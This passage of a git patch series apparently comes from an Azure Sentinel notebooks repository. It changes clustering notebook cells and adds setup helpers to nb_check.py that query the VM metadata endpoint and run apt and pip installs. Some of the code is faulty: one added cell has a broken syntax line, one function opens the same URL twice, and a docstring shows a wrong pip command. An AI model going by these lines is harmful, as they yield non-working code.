" + "options1 = ['RuleId', 'SplitUris']\r\n", + "\r\n", + "def viewPCA(tfidfCategory):\r\n", + " df = df_splitUri_tfidf.copy()\r\n", + " viewData = viewData_splitUri.copy()\r\n", + " if tfidfCategory == 'RuleId': \r\n", + " df = df_ruleId_tfidf.copy()\r\n", + " viewData = viewData_ruleId.copy()\r\n", + "\r\n", + " print(tfidfCategory + ' approach (Outliers + Clustered request URI data): \\n')\r\n", + " while True:\r\n", + " try:\r\n", + " principal_component_analysis(df)\r\n", + " break\r\n", + " except:\r\n", + " continue\r\n", + " \r\n", + "print(color.BOLD + 'Principal Component Analysis \\n' + color.END)\r\n", + "tfidfCategory = widgets.Select(options = options1, style = style, layout = layout, description = 'TFIDF approach: ')\r\n", + "display(tfidfCategory)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "viewPCA(tfidfCategory = tfidfCategory.value)" ] }, { @@ -3435,41 +3479,53 @@ } ], "source": [ - "options1 = ['RuleId', 'SplitUris']\n", - "options2 = ['Outlier', 'Clustered']\n", - "\n", - "def viewClusters(tfidfCategory, requestURIs):\n", - " try:\n", - " df = df_splitUri_tfidf.copy()\n", - " viewData = viewData_splitUri.copy()\n", - " if tfidfCategory == 'RuleId': \n", - " df = df_ruleId_tfidf.copy()\n", - " viewData = viewData_ruleId.copy()\n", - "\n", - " clusters = db_scan_clustering(df.values)\n", - " print(requestURIs + ' URIs for ' + tfidfCategory+ ': \\n')\n", - "\n", - " clusterList = list(set(clusters))\n", - " try:\n", - " clusterList.remove(-1)\n", - " except:\n", - " print()\n", - "\n", - " if requestURIs == 'Outlier':\n", - " clusterList = [-1]\n", - "\n", - " if clusterList:\n", - " for k in clusterList:\n", - " print('Cluster ' + str(k))\n", - " display(viewData[viewData['Ip Address'].isin(df.index.get_level_values(0)[clusters == k])])\n", - " else:\n", - " print('No Data')\n", - " except Exception as e:\n", - " print('Error: ' + e)\n", - " traceback.print_exc()\n", - "\n", - "print(color.BOLD + 'DBScan Clustering of the Request URIs \\n' + color.END)\n", - "display(interactive(viewClusters, tfidfCategory = widgets.Select(options = options1, style = style, layout = layout, description = 'TFIDF approach: '), requestURIs = widgets.Select(options = options2, style = style, layout = layout, description = 'Request URIs: ') ))" + "options1 = ['RuleId', 'SplitUris']\r\n", + "options2 = ['Outlier', 'Clustered']\r\n", + "\r\n", + "def viewClusters(tfidfCategory, requestURIs):\r\n", + " try:\r\n", + " df = df_splitUri_tfidf.copy()\r\n", + " viewData = viewData_splitUri.copy()\r\n", + " if tfidfCategory == 'RuleId': \r\n", + " df = df_ruleId_tfidf.copy()\r\n", + " viewData = viewData_ruleId.copy()\r\n", + "\r\n", + " clusters = db_scan_clustering(df.values)\r\n", + " print(requestURIs + ' URIs for ' + tfidfCategory+ ': \\n')\r\n", + "\r\n", + " clusterList = list(set(clusters))\r\n", + " try:\r\n", + " clusterList.remove(-1)\r\n", + " except:\r\n", + " print()\r\n", + "\r\n", + " if requestURIs == 'Outlier':\r\n", + " clusterList = [-1]\r\n", + "\r\n", + " if clusterList:\r\n", + " for k in clusterList:\r\n", + " print('Cluster ' + str(k))\r\n", + " display(viewData[viewData['Ip Address'].isin(df.index.get_level_values(0)[clusters == k])])\r\n", + " else:\r\n", + " print('No Data')\r\n", + " except Exception as e:\r\n", + " print('Error: ' + e)\r\n", + " traceback.print_exc()\r\n", + "\r\n", + "print(color.BOLD + 'DBScan Clustering of the Request URIs \\n' + color.END)\r\n", + "tfidfCategory = widgets.Select(options = options1, style = style, layout = layout, description = 'TFIDF approach: ')\r\n", + "requestURIs = widgets.Select(options = options2, style = style, layout = layout, description = 'Request URIs: ')\r\n", + "display(tfidfCategory)\r\n", + "display(requestURIs)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "viewClusters, tfidfCategory = widgets.Select(options = options1, style = style, layout = layout, description = 'TFIDF approach: '), requestURIs = widgets.Select(options = options2, style = style, layout = layout, description = 'Request URIs: ') ))" ] }, { @@ -3894,16 +3950,8 @@ "name": "python3" }, "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.0" + "version": "" } }, "nbformat": 4, From fca5c1968abd8c1ad6be31fb17deb6ebbba90086 Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Mon, 12 Apr 2021 12:09:40 -0700 Subject: [PATCH 14/23] Added function to check for (and install) Kqlmagic/msal_extensions pre-reqs. Added function to build FQDN of host for KQLMAGIC_AZUREML_COMPUTE env variable (to avoid warning and have popups work correctly) Added function to parse/import an nbuser_settings.py - this is an easier way to set MSTICPYCONFIG env var than messing around with kernel.json - will need to update docs & ConfiguringNotebookEnvironment NB to describe this. --- utils/nb_check.py | 127 +++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 121 insertions(+), 6 deletions(-) diff --git a/utils/nb_check.py b/utils/nb_check.py index 1878d63..cdd6ba3 100644 --- a/utils/nb_check.py +++ b/utils/nb_check.py @@ -5,14 +5,17 @@ # -------------------------------------------------------------------------- """Checker for Python and msticpy versions.""" import importlib +import json import os +import socket import sys +import urllib +from pathlib import Path from IPython import get_ipython from IPython.display import HTML, display from pkg_resources import parse_version - AZ_GET_STARTED = ( "https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/A%20Getting" "%20Started%20Guide%20For%20Azure%20Sentinel%20ML%20Notebooks.ipynb" @@ -39,6 +42,7 @@ Please restart the notebook kernel and re-run this cell - it should run without error. """ + MIN_PYTHON_VER_DEF = (3, 6) MSTICPY_REQ_VERSION = (0, 9, 0) VER_RGX = r"(?P\d+)\.(?P\d+).(?P\d+)(?P.*)" @@ -49,7 +53,7 @@ def check_versions( min_mp_ver=MSTICPY_REQ_VERSION, extras=None, mp_release=None, - pip_quiet=True + pip_quiet=True, ): """ Check the current versions of the Python kernel and MSTICPy. @@ -107,9 +111,7 @@ def check_versions( extras=extras, quiet=pip_quiet, ) - _disp_html( - "Installation completed. Attempting to re-import/reload MSTICPy..." - ) + _disp_html("Installation completed. Attempting to re-import/reload MSTICPy...") # pylint: disable=unused-import, import-outside-toplevel if "msticpy" in sys.modules: try: @@ -123,7 +125,9 @@ def check_versions( except RuntimeError: _disp_html("Installation skipped.") + _check_kql_prereqs() _set_kql_env_vars(extras) + _run_user_settings() _disp_html("

Notebook pre-checks complete.

") @@ -240,7 +244,9 @@ def _install_mp(mp_install_version, exact_version, extras, quiet=True): sp_args.append(mp_pkg_spec) display( - HTML(f"
Running pip {' '.join(sp_args)} - this may take a few moments...
") + HTML( + f"
Running pip {' '.join(sp_args)} - this may take a few moments...
" + ) ) ip_shell = get_ipython() @@ -254,6 +260,7 @@ def _set_kql_env_vars(extras): os.environ["KQLMAGIC_EXTRAS_REQUIRES"] = "jupyter-extended" else: os.environ["KQLMAGIC_EXTRAS_REQUIRES"] = "jupyter-basic" + os.environ["KQLMAGIC_AZUREML_COMPUTE"] = _get_vm_fqdn() def _get_pkg_version(version): @@ -266,3 +273,111 @@ def _get_pkg_version(version): def _disp_html(text): display(HTML(text)) + + +def get_aml_user_folder(): + """Return the root of the user folder.""" + user_path = Path("/") + path_parts = Path(".").absolute().parts + for idx, part in enumerate(path_parts): + if part.casefold() == "users": + user_path = user_path.joinpath(part).joinpath(path_parts[idx + 1]) + break + user_path = user_path.joinpath(part) + return user_path + + +def _run_user_settings(): + user_folder = get_aml_user_folder() + if user_folder.joinpath("nbuser_settings.py").is_file(): + sys.path.append(str(user_folder)) + import nbuser_settings + + +def _get_vm_metadata(): + """Use local request to get VM metadata.""" + vm_uri = "http://169.254.169.254/metadata/instance?api-version=2017-08-01" + req = urllib.request.Request(vm_uri) + req.add_header("Metadata", "true") + resp = urllib.request.urlopen(req) + + with urllib.request.urlopen(req) as resp: + return json.loads(resp.read()) + + +def _get_vm_fqdn(): + """Get the FQDN of the host.""" + return ".".join( + [ + socket.gethostname(), + _get_vm_metadata().get("compute", {}).get("location"), + "instances.azureml.ms", + ] + ) + + +def _check_kql_prereqs(): + """ + Check and install packages for Kqlmagic/msal_extensions. + + Notes + ----- + Kqlmagic may trigger warnings about a missing PyGObject package + and some system library dependencies. To fix this do the + following:
+ From a notebook run: + + %pip uninstall enum34 + !sudo apt install libgirepository1.0-dev + !sudo apt install gir1.2-secret-1 + %pip install pygobject + + You can also do this from a terminal - but ensure that you've + activated the environment corresponding to the kernel you are + using prior to running the pip commands. + + # Install the libgi dependency + sudo apt install libgirepository1.0-dev + sudo apt install gir1.2-secret-1 + + # activate the environment + # conda activate azureml_py38 + # source ./env_path/scripts/activate + + # Uninstall enum34 + python -m pip uninstall enum34 + # Install pygobject + python -m install pygobject + """ + + try: + # If this successfully imports, we are ok + import gi + + del gi + except ImportError: + try: + # Check for system packages + ip_shell = get_ipython() + apt_list = ip_shell.run_line_magic("sx", "apt list") + apt_list = [apt.split("/", maxsplit=1)[0] for apt in apt_list] + for apt_pkg in ("libgirepository1.0-dev", "gir1.2-secret-1"): + if apt_pkg not in apt_list: + _disp_html( + f"Kqlmagic pre-req '{apt_pkg}' not installed. Installing..." + ) + ip_shell.run_line_magic("sc", f"sudo apt install {apt_pkg}") + + # If this successfully imports, we want to remove it since + # a) it breaks the PyGObject setup + # b) it shouldn't be installed in > Py34 anyway + import enum34 + + _disp_html("Conflicting package 'enum34' found. Uninstalling...") + ip_shell.run_line_magic("pip", "uninstall -y enum34") + del enum34 + except ImportError: + pass + + _disp_html("Kqlmagic python pre-req 'PyGObject' not installed. Installing...") + ip_shell.run_line_magic("pip", "install PyGObject") From 0cc7ad894694f6b936cad4acd338fa77db78d2ed Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Tue, 13 Apr 2021 12:30:55 -0700 Subject: [PATCH 15/23] Finalized changes for msticpy 1.0.0rc5 + AML 38 and 36 testing. Added images for ConfiguringNotebookEnvironment Updated processes_on_host.pkl to remove passwords. Added function to auto-set MSTICPYCONFIG if a) not set b) a msticpyconfig.yaml is in the user's root folder. --- ConfiguringNotebookEnvironment.ipynb | 118 +- Entity Explorer - Account.ipynb | 3143 ++++---- Entity Explorer - Windows Host.ipynb | 4191 +++++----- ...nomalous Office365 Exchange Sessions.ipynb | 1163 +-- ...ting - Base64-Encoded Linux Commands.ipynb | 118 +- Guided Hunting - Office365-Exploring.ipynb | 2582 ++++--- ... Investigation - MDE Webshell Alerts.ipynb | 1706 +++-- Guided Investigation - Process-Alerts.ipynb | 397 +- Machine Learning in Notebooks Examples.ipynb | 6816 ++++++++--------- Notebook Template.ipynb | 701 +- SigmaRuleImporter.ipynb | 73 +- TroubleShootingNotebooks.ipynb | 1083 +-- data/processes_on_host.pkl | Bin 9051282 -> 9051302 bytes images/aml_terminal.png | Bin 0 -> 6718 bytes images/az_sentinel_settings1.png | Bin 0 -> 76730 bytes images/az_sentinel_settings2.png | Bin 0 -> 101884 bytes images/win_env_var.png | Bin 0 -> 159731 bytes utils/nb_check.py | 154 +- 18 files changed, 11524 insertions(+), 10721 deletions(-) create mode 100644 images/aml_terminal.png create mode 100644 images/az_sentinel_settings1.png create mode 100644 images/az_sentinel_settings2.png create mode 100644 images/win_env_var.png diff --git a/ConfiguringNotebookEnvironment.ipynb b/ConfiguringNotebookEnvironment.ipynb index 29445ce..ea8c321 100644 --- a/ConfiguringNotebookEnvironment.ipynb +++ b/ConfiguringNotebookEnvironment.ipynb @@ -4,7 +4,9 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "# Notebook Environment Setup" + "# Notebook Environment Setup\n", + "\n", + "# TODO - Update image URLs to Github paths" ] }, { @@ -13,14 +15,57 @@ "toc": true }, "source": [ - "

Contents

\n", - "
" + "\n", + "\n", + "\n", + "\n", + " \n", + " \n", + "\n", + "\n", + "\n", + "

Contents

\n", + "
\n", + "
\n", + "\n", + "\n", + "" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "## Configuring your Python Environment\n", "### Python 3.6 or Later\n", "If you are running in Jupyterhub environment such as Azure Notebooks, Python is already installed. When using any of the sample notebooks or copies of them you only need to ensure that the Python 3.6 (or later) kernel is selected.\n", @@ -146,17 +191,11 @@ ] }, { - "attachments": { - "WorkspaceDetails.png": { - "image/png": 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